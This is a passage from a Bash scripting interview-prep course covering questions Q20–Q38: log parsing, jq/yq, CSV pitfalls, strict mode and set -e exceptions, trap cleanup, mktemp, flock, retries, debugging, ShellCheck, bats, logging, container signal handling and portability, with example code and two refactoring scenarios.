LC_ALL=C awk '
  { ip[$1]++; total++; if ($9 ~ /^5/) err++ }
  END {
    printf "total=%d 5xx=%d ratio=%.2f%%\n", total, err, total ? err*100/total : 0
    for (i in ip) print ip[i], i | "sort -rn | head -10"
  }' ~/bashlab/data/access.log
  • More robust: awk -F'"' '{split($3, a, " "); status=a[1]}', split on quotes, unaffected by the User-Agent or spaces in the request line.
  • Large files: LC_ALL=C significantly speeds up sort/grep; for multiple files use zcat -f access.log*; for a time window, first filter timestamps with awk.
  • When output goes to monitoring, watch the locale decimal point (#21).
Common follow-up questions
  • What if the log is JSON? Use jq -r '[.remote_addr, .status] | @tsv' then aggregate; do not parse JSON with regex.
Bonus points

Explain when not to run this on the server: logs should go to a centralized system (Loki / Elasticsearch / Log Analytics), and the script is only for emergencies.

Common wrong answers

grep -c ' 50[0-9] ' access.log— it matches response byte counts: on the Lesson 1 dataset (611 lines, 28 real 5xx entries) it counts 29; the extra one is line 52, with status 201 and 506 bytes. Judge by field ($9 or by the status code after splitting on quotes).

See Lesson 5 Module 3: awk,Lesson 5 Module 8: opsctl logs.

Q21. How do you read and write JSON / YAML safely in a script? Why not use grep / sed?Beginner
30-second answer

For JSON, use jq, and for YAML use yq (mikefarah version, syntax close to jq); both allow arbitrary whitespace, newlines, escapes and key order, so regexes will eventually fail. Key points: -r output raw strings,-e fail on missing values (#25),--arg/--argjson pass variables in (do not build the jq program),@sh/@tsv and hand off safely to the shell.

In-depth answer
jq -r --arg env prod '.[] | select(.env == $env) | [.name, .ip] | @tsv' ~/bashlab/data/inventory.json |
  while IFS=$'\t' read -r name ip; do echo "$name -> $ip"; done
jq --arg v "$version" '.image.tag = $v' values.json > values.json.tmp && mv values.json.tmp values.json
yq -i '.replicas = 3' ~/bashlab/data/config.yaml  # mikefarah yq v4 (latest verified: v4.54.3)
  • There are two different yq (the Python version is a jq wrapper with different arguments); check in the script yq --version.
  • When writing back, use "temp file + mv"; do not jq … f > f (the redirection truncates the input first).
Common follow-up questions
  • The minimal image has no jq? Install it at build time; or use a tool already available on the target platform (python3 -c 'import json…'); do not fall back to regex.
Bonus points

Prefer the built-in --query (JMESPath) + -o tsv to reduce dependencies, and handle None/ empty values (Lesson 6 Module 2).

Common wrong answers

grep '"ip"' resp.json | cut -d'"' -f4.

See Lesson 5 Module 6: JSON and YAML: jq and yq.

Q22. What boundary problems come with handling CSV in Bash? When must you switch tools?Intermediate
30-second answer

Simple CSV (no quotes, no embedded commas or newlines) can be handled with IFS=, read -r or awk -F,. Real CSV has commas inside quotes (servers.csv on that line), newlines inside fields, escaped quotes "", BOM, CRLF (#13), empty fields; switch to a tool that understands RFC 4180: mlr (Miller),csvkit, Python csv,duckdb.

In-depth answer
head -1 ~/bashlab/data/servers.csv | od -c | head -2  # check the BOM (357 273 277) and \r
awk -F, 'NF != 5 {print "line " NR " has " NF " fields"}' ~/bashlab/data/servers.csv  # on line 11 of the Lesson 1 dataset, "web,api" makes it 6 fields
mlr --icsv --ojson filter '$env == "prod"' ~/bashlab/data/servers.csv  # correct parsing
python3 -c 'import csv,sys; [print(r["name"]) for r in csv.DictReader(sys.stdin) if r["env"]=="prod"]' < ~/bashlab/data/servers.csv
  • GNU awk 5's --csv (gawk 5.3+, follow the actual output) handles quoted fields correctly.
  • Read values by column name, not column number, so column-order changes do not matter.
Common follow-up questions
  • How do you escape CSV output? Wrap any field containing commas, quotes or newlines in double quotes, and internally " becomes ""; or use jq's @csv.
Bonus points

Write the boundary detection itself as tests: run bats in CI against sample CSVs that contain all the boundaries.

Common wrong answers

“CSV is just comma-separated; cut -d, -f2 is enough”.

See Lesson 5 Module 7: CSV and the boundaries of structured data.

Q23. How do you design and implement script configuration precedence (defaults, config file, environment variables, command-line arguments)?Intermediate
30-second answer

opsctl convention (lowest to highest precedence): built-in defaults → config file etc/opsctl.conf → environment variables OPSCTL_<KEY> → command-line flags. lib/config.sh Assign in order, later overriding earlier; the config file must not be sourced source (it would run arbitrary code); instead, parse whitelisted keys line by line.

In-depth answer
declare -A CFG=([env]=dev [region]=canadacentral [timeout]=30)
load_conf() {  # accept only key=value; keys must be on the whitelist
  local f=$1 k v; [[ -r $f ]] || return 0
  while IFS='=' read -r k v || [[ -n $k ]]; do
    [[ $k =~ ^[[:space:]]*(#|$) ]] && continue
    k=${k//[[:space:]]/}; v=${v%$'\r'}
    [[ -v CFG[$k] ]] || { log::warn "$f: unknown key '$k' ignored"; continue; }
    CFG[$k]=$v
  done < "$f"
}
load_conf "$OPSCTL_HOME/etc/opsctl.conf"
for k in "${!CFG[@]}"; do  # environment variable OPSCTL_<KEY> overrides the file
  ev="OPSCTL_${k^^}"; [[ -n ${!ev:-} ]] && CFG[$k]=${!ev}
done
# then parse flags (--env prod) to override CFG[...], and validate values in one place
  • Validate all sources together after merging (enumerations, numeric ranges).
  • opsctl's config subcommand prints the final effective values and their sources, which helps troubleshooting.
Common follow-up questions
  • Why not source a config file? Once others can modify it, it equals code execution; it also pollutes the global variables.
Bonus points

Do not store sensitive values (tokens) in plaintext config files: use a secrets management service, or a 0600 file read at runtime.

Common wrong answers

“Directly source config.sh is the simplest”.

See Lesson 3 Module 7: Configuration.

Q24. Which scenarios suit here-doc, here-string and process substitution?Beginner
30-second answer

here-doc (<<EOF): multi-line text as stdin, for generating configs, feeding ssh/psql/kubectl apply -f - scripts; <<'EOF' turns off expansion. here-string (<<<"$var"): a variable as stdin, replacing echo "$var" | cmd, saving a pipe and a subshell. Process substitution (<(cmd)): command output used as a "filename", for commands that need file arguments (diff <(a) <(b)), and keeps while read in the current shell (#15).

In-depth answer
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata: { name: app, namespace: ${NS:?} }
data: { LOG_LEVEL: "info" }
EOF
IFS=, read -r name env _ <<< "$line"
diff <(LC_ALL=C sort a.txt) <(LC_ALL=C sort b.txt)
ssh "$h" 'bash -s' -- "$arg" < remote.sh  # run a local script on the remote host, passing arguments separately
  • Pitfalls: indented terminator (#19); add a trailing newline to here-strings; process substitution is not POSIX, so it is unavailable in dash (#40).
Common follow-up questions
  • Exit code of process substitution? Bash 4.4+ can wait $!.
Bonus points

When a here-doc generates Kubernetes / YAML, special characters in variable values can break the YAML; in complex cases, switch to yq or a templating tool (Helm).

Common wrong answers

“Process substitution is just a pipe.”

See Lesson 2 Module 7.

Q25. A Bash loop processing 100,000 lines took 20 minutes; how would you optimize it?Senior
30-second answer

Measure first (time,bash -x count,strace -c -f check the number of fork/exec calls); the bottleneck is usually one fork/exec per line (external $(…),echo | cut,sed,date). Optimizations: ① parameter expansion,[[ =~ ]],printf -v and other builtins replacing external commands; ② hand the whole loop to one awk/jq/sort; ③ parallelize when needed (xargs -P); ④ switch languages if still not enough.

In-depth answer
# slow: 3 forks per line
while read -r line; do ip=$(echo "$line" | cut -d' ' -f1); d=$(date -d "$(echo "$line" | awk '{print $4}' | tr -d '[')" +%s); …; done < access.log
# fast: builtins
while IFS=' ' read -r ip _ _ ts _; do ts=${ts#[}; …; done < access.log
printf -v now '%(%s)T' -1  # the builtin gets the time without calling date
# fastest: one awk process handles everything
LC_ALL=C awk '{ c[$1]++ } END { for (i in c) print c[i], i }' access.log | sort -rn | head
  • LC_ALL=C Let sort/grep process bytes, often several times faster (and results are reproducible, #20).
  • Bash 5.3's ${ cmd; } lets builtin and function calls avoid forking, which suits capturing output inside loops.
  • For large files, do not use for line in $(cat file) (it reads everything into memory and splits wrongly).
Common follow-up questions
  • How do you prove the optimization works? Use hyperfine or repeated time comparisons, and use regression tests to ensure the results match.
Bonus points

Give orders of magnitude: on an ordinary VM one fork+exec takes on the order of milliseconds (verify by measurement); 100,000 lines × 3 calls is several minutes.

Common wrong answers

“Add & to run each line in the background”—100,000 processes will overwhelm the machine (#36, #37).

See Lesson 7 Module 5 Performance.

opsctl structure and the data flow of one subcommand call (Q14, Q16, Q23) bin/opsctlstrict mode · main · dispatch configuration mergedefaults → file → env → CLI lib/cmd_servers.shcmd::servers list --env stdout: datacan be used by pipes, jq, xargs lib/log.sh · util.shlog::* → stderr · util::die stderr: logsjournald / CI logs exit code convention0 success · 1 general error · 2 usage error · 3 missing dependency test/*.bats sources the entry point (main guard), then tests cmd::* functions separately; ShellCheck + shfmt enforce it in CI
Figure 6-1 A well-structured script; you can draw it directly in an interview

Scenario 6-1: turn a server inventory exported from Excel into a daily inspection report

Each day ops exports a CSV from the CMDB (generated on Windows, with a BOM and CRLF, some fields quoted and containing commas). Count hosts per environment, run health checks on prod hosts in parallel, and upload a JSON report to object storage. Give the design and key code, and explain which parts should use Bash and which should not.

Reference answer points
  • Input cleaning: remove the BOM and \r (#13); parse the CSV with mlr/Python (Q22), and output JSONL or TSV for the next steps.
  • Parallel checks: xargs -0 -P 8 or wait -n token pool, each host writes its own result file,timeout + curl --max-time (#36, #37, #38).
  • Report: jq -s aggregate into JSON,jq -e validate the structure (#25); write to a temp file before upload, and upload only after validation.
  • Boundary: Bash handles orchestration and invocation; parsing CSV and generating complex JSON go to dedicated tools; if the logic keeps growing, migrate to Python (Q47).

Scenario 6-2: refactor an "for performance" eval loop

The old script uses eval "host_${i}=\$(…)" to create variables dynamically, then eval echo \$host_$i reads them; processing 5000 hosts takes 15 minutes, and there was once an incident where a host name containing $(…) led to command execution. Please refactor.

Reference answer points
  • Use an associative array declare -A host_status in place of dynamic variable names, and remove eval entirely (#11, Q18).
  • Performance: merge the external commands inside the loop into one awk/jq processing, or batch the cloud API calls (Q25).
  • Input validation: host names [[ $h =~ ^[A-Za-z0-9.-]+$ ]].
  • Add bats tests covering the "malicious host name" sample, and use ShellCheck in CI to prevent eval regressions.
or score ≥ 70% on the quiz

Module 7 · Part B: Robustness, testing and debugging (interview 26–38)

44:00 – 52:00 · strict mode,set -e exceptions, trap, temp files, locks and idempotency, retry backoff, debugging techniques, ShellCheck, bats, shfmt and style, logging, signals, portability testing
8 minutesdefend → verify → locate13 questions
Learning goals
  • Explain what strict mode can and cannot do, and practice “explicit error handling + strict mode as a safety net”.
  • Write on the spot a skeleton with trap cleanup, flock, retry backoff and timeouts, and write bats tests for it.
  • Describe the quality gates for Bash code: bash -n → ShellCheck → shfmt → bats (multiple versions / platforms) → code review checklist.

Browse the questions and their focus first; click a row to jump to the details.

Q26. set -euo pipefail What does each do? Would you add it to every script? What are its limitations?Intermediate
30-second answer

-e set -e: a command (simple / pipeline / list / compound) returning non-zero exits (exceptions in Q27); -u set -u: an unset variable errors and exits; -o pipefail pipefail: the pipeline exit code is the rightmost non-zero. Enable it by default in new scripts (add -E so the ERR trap enters functions), but treat it only as a safety net; key steps still need || die explicit handling: -e is ineffective for functions called in conditionals,local x=$(…), background jobs (#26, #27, #36); pipefail turns SIGPIPE into a failure (#29).

In-depth answer
#!/usr/bin/env bash
set -Eeuo pipefail
shopt -s inherit_errexit 2>/dev/null || true  # 4.4+: $( ) inherits -e internally
trap 'log::error "line $LINENO: $BASH_COMMAND (rc=$?)"' ERR
IFS=$'\n\t'  # optional: reduces splitting on spaces (the team must agree)
  • -u Pair it with: optional arguments use ${1:-}/${VAR:-default} (#3).
  • Do not "turn on strict mode in one click" for old scripts: run tests first and fix false positives such as grep with no match (#22),((i++)) (#30).
Common follow-up questions
  • Does someone object to strict mode? The argument (many exceptions, false sense of security) holds, but the conclusion is "strict mode + explicit handling + tests", not "don't use it".
Bonus points

GitHub Actions explicitly shell: bash comes with -eo pipefail, and the default shell only -e (#45).

Common wrong answers

“Once set -e is added, you no longer need to handle errors.”

See Lesson 4 Module 1.

Q27. Name the cases where set -e does not take effect (at least 5 cases), and how you respond.Senior
30-second answer

According to the Bash manual: ① a command in while/until conditions; ②if/elif test; ③&&/|| non-final commands in a list; ④ non-final pipeline segments (without pipefail); ⑤! negated commands; ⑥ functions called in the above contexts: the entire function body is not affected. Seemingly exceptions: ⑦local/export/declare masking command substitution exit codes; ⑧ command substitution as an argument (echo "$(false)") ; ⑨ background & jobs; ⑩$( ) inside does not inherit by default -e (requires inherit_errexit).

In-depth answer
set -e
f() { false; echo "still running"; }
f || true  # prints "still running": the -e setting is ignored throughout the function body
if f; then :; fi  # same as above
! f  # same as above
x=$(f)  # $( ) does not inherit -e by default (non-POSIX mode in Bash), so it will print
echo "$(false)"  # does not exit: the exit code belongs to echo
  • Responses: ① inside functions cmd || return; ② separate declaration from assignment (SC2155); ③ background jobs wait "$pid" collect results (#36); ④ explicitly handle commands where return value 1 has business meaning (#22); ⑤ use the Part A decision exercises in this module and bats to cover failure paths.
Common follow-up questions
  • Does the ERR trap have the same exceptions? Yes, and by default it does not enter functions; it needs set -E (#32).
Bonus points

Quote the manual sentence: "If a compound command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting", and give a real consequence in a deployment script (#26).

Common wrong answers

Naming only “pipes” as the one kind.

See Lesson 4 Module 1, and this lesson Module 3 Animation.

Q28. Explain trap: when do EXIT, ERR, INT and TERM fire? Write a reliable cleanup pattern.Intermediate
30-second answer

EXIT: when the shell exits (normal termination,exit,set -e, fatal signals that Bash can catch); ERR: a command fails (same rules as set -e, needs -E to enter functions); INT/TERM: a signal is received; SIGKILL cannot be caught. Reliable pattern: register the EXIT trap before creating resources; make cleanup idempotent; turn INT/TERM into exit 128+N EXIT, then clean up in one place; preserve the original exit code.

In-depth answer
tmpdir=''; lockfd=''
cleanup() {
  local rc=$?
  trap - EXIT  # prevents re-entry
  [[ -n $tmpdir ]] && rm -rf -- "$tmpdir"
  kill $(jobs -p) 2>/dev/null || true  # terminate background child processes (#33)
  exit "$rc"
}
trap cleanup EXIT
trap 'exit 130' INT; trap 'exit 143' TERM
tmpdir=$(mktemp -d)
  • The trap string is evaluated when it fires— expansion happens then; use single quotes, since double quotes expand at set time (a common lab bug).
  • The trap runs only after the foreground external command ends; for long tasks, use cmd & wait $!.
  • A subshell resets non-ignored traps; Bash 5.3 adds BASH_TRAPSIG, so a generic handler can tell which signal was received.
Common follow-up questions
  • Several modules need to register EXIT cleanup? Maintain an array of cleanup functions, and have the EXIT trap call them in order (Lesson 4 Module 2).
Bonus points

A cleanup failure should not overwrite the original exit code; signal semantics of PID 1 in containers (#33, Q37).

Common wrong answers

“A last line at the end of the script rm -rf $tmp is enough”.

See Lesson 4 Module 2: trap.

Q29. Why must you use mktemp? /tmp/myapp.$$ What problems does it solve?Beginner
30-second answer

$$ Predictable and reused: concurrent instances overwrite each other, and an attacker can pre-create a symlink (#34). mktemp Random names,O_EXCL atomic creation, mode 0600 (0700 for directories); it neither overwrites nor follows existing files.

In-depth answer
tmpdir=$(mktemp -d "${TMPDIR:-/tmp}/opsctl.XXXXXX") || exit 1
trap 'rm -rf -- "$tmpdir"' EXIT
out=$(mktemp "$tmpdir/out.XXXXXX")
# write the final file: mv within the same filesystem is atomic
mktemp_in_dest=$(mktemp "/etc/app/.app.conf.XXXXXX"); render > "$mktemp_in_dest"; mv -f -- "$mktemp_in_dest" /etc/app/app.conf
  • Respect TMPDIR; macOS mktemp template rules differ slightly from GNU; explicitly give a XXXXXX full template, which is most portable.
  • For systemd services, use PrivateTmp=; put sensitive data in $XDG_RUNTIME_DIR (tmpfs, per-user isolation).
Common follow-up questions
  • Why does mv need the same filesystem? Across filesystems, mv degrades to copy + delete and is no longer atomic.
Bonus points

fs.protected_symlinks / fs.protected_regular It is only a mitigation provided by the kernel, not a replacement.

Common wrong answers

“$RANDOM “A random-looking filename is random enough”—still not an atomic creation.

See Lesson 4 Module 3.

Q30. How do you ensure an ops script does not run two copies at once, and that repeated runs give the same result (idempotency)?Intermediate
30-second answer

Mutual exclusion: flock——exec 9>lockfile; flock -n 9 || exit 0, the lock is released automatically when the process exits (#35). Idempotency: check the desired state before changing it, i.e. check whether it exists before creating (mkdir -p,id user || useradd); render the whole config, compare, then replace; use declarative tools (install,systemctl enable --now,ln -sfn), not append (echo >>).

In-depth answer
exec 9>"/run/lock/opsctl-${cmd}.lock"; flock -n 9 || { log::warn "already running"; exit 0; }
ensure_line() {  # idempotently ensure a line exists
  local line=$1 file=$2
  grep -qxF -- "$line" "$file" 2>/dev/null || printf '%s\n' "$line" >> "$file"
}
render_conf > "$tmp"; cmp -s "$tmp" /etc/app.conf || { install -m 0644 "$tmp" /etc/app.conf; systemctl reload app; }
  • reload only when the content changes, avoiding needless restarts; record “changed/ok” for audit — this is the Ansible model, and once the script gets complex you should migrate (Ansible 8 hours).
  • Mutual exclusion across machines needs a distributed lock (cloud storage lease, Kubernetes Lease).
Common follow-up questions
  • Where should the lock file go? /run/lock (tmpfs, cleared on reboot) or the service's RuntimeDirectory=; do not put it on NFS.
Bonus points

Only idempotent operations can be retried automatically and safely (Q31).

Common wrong answers

“Use if [ -f /tmp/lock ]; then exit; fi; touch /tmp/lock”—it has a race condition and leaves stale files behind.

See Lesson 4 Module 4: Concurrency and locks: flock and idempotency.

Q31. Write a retry function with exponential backoff, jitter, a maximum number of attempts and a timeout, and explain which errors should be retried.Intermediate
30-second answer

Retry only transient errors (timeout 124, connection failure, HTTP 429/502/503/504); do not retry deterministic errors (4xx bad parameters, authentication failure); use exponential backoff plus random jitter, capped by a maximum number of attempts and an overall time limit; the retried operation must be idempotent (Q30).

In-depth answer
retry() {  # usage: retry 5 curl -fsS --max-time 10 "$url"
  local max=$1; shift
  local n=1 delay=1 rc
  while :; do
    "$@" && return 0
    rc=$?
    (( n >= max )) && { log::error "giving up after $n attempts (rc=$rc): $*"; return "$rc"; }
    case $rc in 22|6|7|28|124|56) ;; *) return "$rc" ;; esac  # curl: HTTP≥400 (22), DNS (6), connection (7), timeout (28), receive (56)
    local sleep_s=$(( delay + RANDOM % delay ))
    log::warn "attempt $n failed (rc=$rc), retry in ${sleep_s}s"
    sleep "$sleep_s"; n=$((n+1)); delay=$(( delay * 2 > 30 ? 30 : delay * 2 ))
  done
}
  • curl has built-in --retry N --retry-max-time S --retry-connrefused, which covers most transient errors; prefer it.
  • curl -f returns 22 for every status ≥400, so it cannot distinguish 404 from 503; for precise judgments, use -w '%{http_code}' to get the status code (Lesson 6 Module 1).
Common follow-up questions
  • Why jitter? To avoid many clients retrying at the same time (thundering herd).
Bonus points

Honor the server's Retry-After header and the cloud API rate-limiting documentation.

Common wrong answers

until cmd; do sleep 1; done— no upper bound, no backoff, and deterministic errors retried forever.

See Lesson 4 Module 6: Retries, backoff and timeouts.

Q32. A Bash script fails intermittently in CI and cannot be reproduced locally; how do you debug it?Intermediate
30-second answer

First make it “talk”: ①set -x + a PS4 with position information PS4; ②BASH_XTRACEFD write the trace to a separate file and upload it as an artifact; ③ the ERR trap prints the BASH_SOURCE/BASH_LINENO/FUNCNAME call stack; ④ print environment differences (Bash version,/bin/sh, PATH, locale, tool versions); ⑤ reproduce locally with the same image (docker run CI image,env -i). xtrace can leak secrets (#46).

In-depth answer
export PS4='+ ${EPOCHREALTIME} ${BASH_SOURCE##*/}:${LINENO}:${FUNCNAME[0]:-main}: '
exec 9>>"${RUNNER_TEMP:-/tmp}/trace.log"; BASH_XTRACEFD=9; set -x
stacktrace() { local i; for ((i=1; i<${#FUNCNAME[@]}; i++)); do printf '  at %s (%s:%s)\n' "${FUNCNAME[i]}" "${BASH_SOURCE[i]}" "${BASH_LINENO[i-1]}" >&2; done; }
trap 'echo "ERR rc=$? cmd=$BASH_COMMAND" >&2; stacktrace' ERR
bash -n script.sh  # syntax check only
caller 0  # inside a function, print the caller's line number, function name and file
  • EPOCHREALTIME (Bash 5.0+) adds microsecond timestamps to traces to find slow steps and races.
  • Intermittent problems often come from timing (#29 SIGPIPE, #37 races), input (filenames, last line, CRLF) or environment (#39–#49); rule them out by category.
Common follow-up questions
  • Trace only one function? Inside the function, use local - (Bash 4.4+, restored on return set option), then set -x.
Bonus points

bashdb Mention a debugger; as a last resort, strace -f -e trace=execve,openat look at what actually ran.

Common wrong answers

“Adding echo everywhere”.

See Lesson 7 Module 1: Debugging.

Q33. Name 5 ShellCheck rules you see most often; how do you use ShellCheck in CI, and how do you suppress warnings sensibly?Beginner
30-second answer

SC2086 (unquoted expansion, #1), SC2155 (separate declaration and assignment, #27), SC2164 (cd unhandled cd failure, #31), SC2115 (${var:?} guard against deleting /*, #2), SC2045 (iterating over ls output, #5), SC2181 (indirect checking of $?, #18), SC2162 (read missing -r, #12), SC2024 (sudo does not apply to redirection, #43), SC2035 (glob prefixed with ./, #50), SC1017 (CRLF, #13), SC3xxx (Bash syntax in POSIX sh, #40). Latest verified ShellCheck 0.11.0.

In-depth answer
shellcheck -x -S style -f gcc scripts/*.sh lib/*.sh  # -x follows source
# .shellcheckrc (in the repository root)
external-sources=true
# suppressions need a reason, and should be as narrow as possible
# shellcheck disable=SC2086  # deliberate splitting: $FLAGS is a space-separated list of options
docker run $FLAGS "$image"
# shellcheck source=lib/log.sh
source "$SCRIPT_DIR/lib/log.sh"
  • CI: pre-commit hook + mandatory pipeline pass; new code has zero warnings; old code is cleaned up incrementally against a baseline.
  • ShellCheck cannot find semantic problems (#26 functions called inside if, #30 ((i++))), which still require tests and review.
Common follow-up questions
  • Is SC2086 deliberate? Usually an array should be used (#10); when splitting is truly needed, disable locally and state the reason.
Bonus points

Map rule numbers to the real incidents in Part A, rather than just “following the hint blindly”.

Common wrong answers

Adding # shellcheck disable=all at the top of the file and calling it done.

See Lesson 7 Module 2: Static checks.

Q34. How do you test Bash scripts? Explain how to use bats-core and “test doubles” (mocking external commands).Intermediate
30-second answer

Use bats-core (latest verified v1.14.0, with bats-support v0.3.0 and bats-assert v2.2.4): @test inside run commands, and assert $status,$output. Testability: put logic in functions and add a main guard, which makes it easy to source. External dependencies (curl,az,kubectl) use test doubles: put same-named fake scripts in a temp directory placed at PATH the front of PATH.

In-depth answer
#!/usr/bin/env bats
setup() {
  load 'test_helper/bats-support/load'; load 'test_helper/bats-assert/load'
  STUB="$BATS_TEST_TMPDIR/bin"; mkdir -p "$STUB"; PATH="$STUB:$PATH"
  cat > "$STUB/curl" <<'EOF'
#!/usr/bin/env bash
echo "$*" >> "$BATS_TEST_TMPDIR/curl.calls"; exit "${CURL_RC:-0}"
EOF
  chmod +x "$STUB/curl"
  source "$BATS_TEST_DIRNAME/../bin/opsctl"  # the main guard keeps sourcing from running main
}
@test "health: retries on timeout then fails with rc=1" {
  CURL_RC=28 run cmd::health https://example.invalid/healthz
  assert_failure 1
  assert_output --partial "giving up"
  [ "$(wc -l < "$BATS_TEST_TMPDIR/curl.calls")" -eq 3 ]
}
@test "unknown command exits 2" { run main nope; assert_failure 2; }
  • Cover failure paths and boundaries: empty arguments, filenames with spaces or newlines, no trailing newline, CRLF, missing dependencies (exit code 3).
  • The CI matrix runs multiple Bash versions (bash:5.2,bash:5.3, and where needed bash:3.2).
Common follow-up questions
  • run How is set -e treated in a test? run captures the status, so the test does not fail immediately; use run -1 cmd to assert a specific exit code (bats 1.5+).
Bonus points

Write a regression test for each pitfall in Part A (for example #14 last line, #2 empty-variable guard).

Common wrong answers

“Scripts can't be tested; just run it by hand.”

See Lesson 7 Module 4: Testing: bats-core.

Q35. Which shell style guide do you follow? What can shfmt do, and what can't it do?Beginner
30-second answer

Based on the Google Shell Style Guide: #!/usr/bin/env bash; 2-space indentation; lowercase function names,:: separating package names; constants and environment variables in uppercase, plus readonly/export; declare variables inside functions as local; have a main; use [[ ]],$( ); write errors to stderr; consider switching languages beyond about 100 lines or when the logic gets complex. shfmt (latest verified v3.14.1) manages formatting (indentation, spaces, line breaks); in CI shfmt -d checks it, but does not manage semantics.

In-depth answer
shfmt -i 2 -ci -bn -d .  # 2 spaces, indented case, binary operators at line start; -d only shows the diff
shfmt -i 2 -ci -bn -w .  # write back
# can also be configured in .editorconfig: [*.sh] indent_style = space / indent_size = 2
  • Standards must be automatically checkable: shfmt (format) + ShellCheck (defects) + bats (behavior) + review checklist (design and security, Q39–Q50).
Common follow-up questions
  • Why does the Google guide say “consider switching languages beyond 100 lines”? Bash lacks data structures, error handling and a testing ecosystem, so the maintenance cost of long scripts rises steeply (Q47).
Bonus points

Consistent style improves review efficiency and reduces diff noise; run it automatically in pre-commit.

Common wrong answers

“Style doesn't matter as long as it runs.”

See Lesson 7 Module 3: Formatting and style.

Q36. How do you design script logging? Why should logs go to stderr?Beginner
30-second answer

Logs to stderr, data to stdout: logs are human-readable and data can be composed by pipes / command substitution (ips=$(opsctl servers list) without mixing in logs). Logs include a timestamp (UTC, ISO 8601), level, script name and PID, and support LOG_LEVEL filtering; in systemd / containers, write directly to stderr and let journald / the runtime collect it; when machines need to parse it, output JSON lines.

In-depth answer
declare -A _LOG_LV=([debug]=10 [info]=20 [warn]=30 [error]=40)
log::_emit() {
  local lv=$1; shift
  (( ${_LOG_LV[$lv]} >= ${_LOG_LV[${LOG_LEVEL:-info}]} )) || return 0
  printf '%s %-5s %s[%d]: %s\n' "$(date -u +%FT%TZ)" "${lv^^}" "${0##*/}" "$$" "$*" >&2
}
log::info()  { log::_emit info "$@"; }
log::error() { log::_emit error "$@"; }
log::json()  { jq -nc --arg lvl "$1" --arg msg "$2" '{ts: (now|todate), level: $lvl, msg: $msg}' >&2; }
  • Logs contain no secrets (#46); error logs include a “what to do next” hint.
  • Interactive terminals may use color, but you must detect [[ -t 2 ]] and respect NO_COLOR.
Common follow-up questions
  • Do you also write local log files? Leave it to the platform where possible; if needed, watch out for rotation and concurrent writes (#37).
Bonus points

Use logger -t opsctl or systemd-cat to write to syslog/journald, keeping structured fields.

Common wrong answers

“Echo everything to stdout”.

See Lesson 4 Module 5: Logging and observability.

Q37. A container entrypoint script written in Bash docker stop always waits out the full grace period (default 10 seconds) before exiting with exit code 137. Why? How do you fix it?Senior
30-second answer

bash as PID 1: the kernel applies no default signal actions to PID 1, and bash has no SIGTERM handler installed, so SIGTERM is ignored; the child process (the real service) never receives it either. After the grace period the runtime sends SIGKILL, exit code 137 (#33). Fix: once the entrypoint script finishes its setup, exec "$@", let the service become PID 1; or use --init/tini; if bash must remain, install a trap that forwards signals, and run the foreground wait.

In-depth answer
#!/usr/bin/env bash
set -Eeuo pipefail
render_config > /etc/app/app.conf
exec /usr/local/bin/app --config /etc/app/app.conf "$@"  # recommended: replace the shell with the service process

# when bash must stay (for example to do cleanup):
child=0
term() { [[ $child -gt 0 ]] && kill -TERM "$child"; }
trap term TERM INT
/usr/local/bin/app & child=$!
wait "$child"; rc=$?  # after a signal interrupts, wait again to get the real exit code
wait "$child" 2>/dev/null || true
exit "$rc"
  • Verified (this lesson, #33): bash -c 'sleep 300; echo done' as PID 1,docker stop exit code 137; with trap + wait $! → 143 and prints the cleanup log.
  • Kubernetes: terminationGracePeriodSeconds (default 30 seconds),preStop hooks, and readiness probes drain traffic first.
  • The shell form CMD app is wrapped as /bin/sh -c, which has the same problem; use the exec form CMD ["app"].
Common follow-up questions
  • Zombie processes? PID 1 must also reap orphaned processes; bash only waits for its own children and is not a general init, so use tini in complex cases.
Bonus points

bash -c 'app' (a single command): why it sometimes seems fine: Bash -c directly execs the last simple command in the file, leaving no bash process.

Common wrong answers

“Increase the stop timeout”.

See Lesson 4 Module 2,Docker 8 hours,Kubernetes 8 hours.

Q38. Your script must run on Ubuntu, macOS and Alpine containers. How do you ensure portability and keep verifying it?Intermediate
30-second answer

First set the goals: the minimum Bash version (3.2? 4.4? 5.x?) and the required external tools (GNU or the POSIX subset). Then: #!/usr/bin/env bash; check at runtime BASH_VERSINFO and dependencies (exit 3 if missing); avoid GNU-specific options or do capability detection (#24, #48); the CI matrix (bash:3.2/bash:5.3 containers, macOS runner, Alpine images) run the same bats suite; for pure POSIX scripts, use dash + shellcheck -s sh to test.

In-depth answer
for img in bash:3.2 bash:5.2 bash:5.3; do
  docker run --rm -v "$PWD":/w -w /w "$img" bash -c 'bash --version | head -1; ./test/smoke.sh'
done
shellcheck -s bash --severity=warning scripts/*.sh
sed_inplace() { if sed --version >/dev/null 2>&1; then sed -i "$@"; else sed -i '' "$@"; fi; }
  • Common differences: sed -i,date -d/-v,stat -c/-f,readlink -f,grep -P,xargs -r,find -printf,base64 -w,mktemp,sort -V,echo -e.
  • Ubuntu 26.04's rust-coreutils also counts as a "platform": edge-case behavior should be verified by testing and included in the test matrix.
Common follow-up questions
  • When should you give up portability? When compatibility code outweighs business code: mandate the runtime environment (container image) or switch languages.
Bonus points

Use containers to make the runtime environment part of the artifact: the most thorough portability approach.

Common wrong answers

"Writing #!/bin/sh with a shebang is portable"—yet the content is all Bash syntax.

See Lesson 7 Module 6: Portability.

Quality gates for Bash code (Q32–Q35, Q38) bash -nSyntax · here-doc warnings ShellCheck 0.11SC2086 SC2155 SC2164… shfmt -dConsistent format bats (matrix)3.2 / 5.2 / 5.3 / Alpine Code review checklistSemantics · security · maintainability Findings: #1 #2 #5 #12 #18 #27 #31 #43 #50 Findings: #14 #22 #26 #30 #41 #48 Findings: #11 #34 #35 #46 Runtime: set -Eeuo pipefail + ERR trap call stack + PS4/BASH_XTRACEFD — problems the gates miss can still be located quickly in production
Figure 7-1 The Part A problems that each gate can catch

Scenario 7-1: put quality gates on an 800-line deployment script that has no tests at all

The team has an 800-line deploy.sh, ShellCheck reports 214 warnings, and every change is nerve-racking. Give an improvement plan that can be implemented within two weeks.

Reference answer points
  • Day 1: add to pre-commit + CI bash -n, shfmt (unify formatting first, in a separate commit), and run ShellCheck in "changed lines only" or baseline mode; new code has zero warnings.
  • Week 1: fix high-risk warnings first (SC2115, SC2164, SC2086 on rm/mv/chmod, SC2155); before adding set -Eeuo pipefail first add smoke tests, and fix the false positives one by one (#22, #30).
  • Week 2: split the logic into functions and libraries (Q14), add a main guard to the entry point, use bats to cover critical paths and the Part A pitfalls; use PATH stubs for external commands.
